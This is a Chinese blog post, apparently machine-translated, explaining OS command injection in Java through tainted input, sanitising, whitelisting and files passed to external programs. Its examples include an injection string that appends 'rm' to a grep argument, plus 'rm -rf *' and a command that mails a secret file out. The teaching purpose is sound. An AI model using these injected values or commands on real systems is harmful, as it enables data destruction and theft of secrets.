java os命令注入,可能没有运行时API执行的OS命令注入?

String name = request.getBody(); // tainted

String cmd = "grep " + name + " customers.txt"; // also tainted

String cleanName = sanitize(name); // untainted

String cleanerName = validNameMap.get(name); // untainted

String literal = "a literal string"; // untainted

你可以看到,如果request.getBody()回报slim然后grep slim customers.txt是如何安全的。但是,如果用户提供的数据为slim customers.txt; rm,所产生的grep slim customers.txt; rm customers.txtcmd是个坏消息。

sanitize()可能不喜欢的东西去掉一切,但a-zA-Z。

有相当的sanitizin很多范围g例程幼稚,并且不够彻底,这可能是一个攻击媒介 - 所以白名单被认为是更安全的。

如果字符串(S)传递给exec()有污点这是迈向安全的一步。然而,这仍然有危险。试想一下: String command = "/usr/local/bin/myProgram";

String path = "/tmp/inputfile";

createNewFile(path, request.getBody());

runtime.exec(command, path);

现在,无论command和path是污点 - 它们不是由用户提供 - 但我们是通过文件tained数据传递到myProgram,并有一个风险,即myProgram会做一些危险的与数据。

这个最明显的例子是command是/bin/bash,请求正文是rm -rf *或cat secretFile | mail [email protected]。

但有很多更微妙的方式,这可能是有风险的。例如,myprogram可能会使用该文件的内容来构建SQL请求。

您可以在各个地方减轻这些风险。您可以在将数据写入文件之前对数据进行清理,或者您可以在安全模型中明确指出文件内容受到污染,myprogram必须如此处理,并自行解决。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值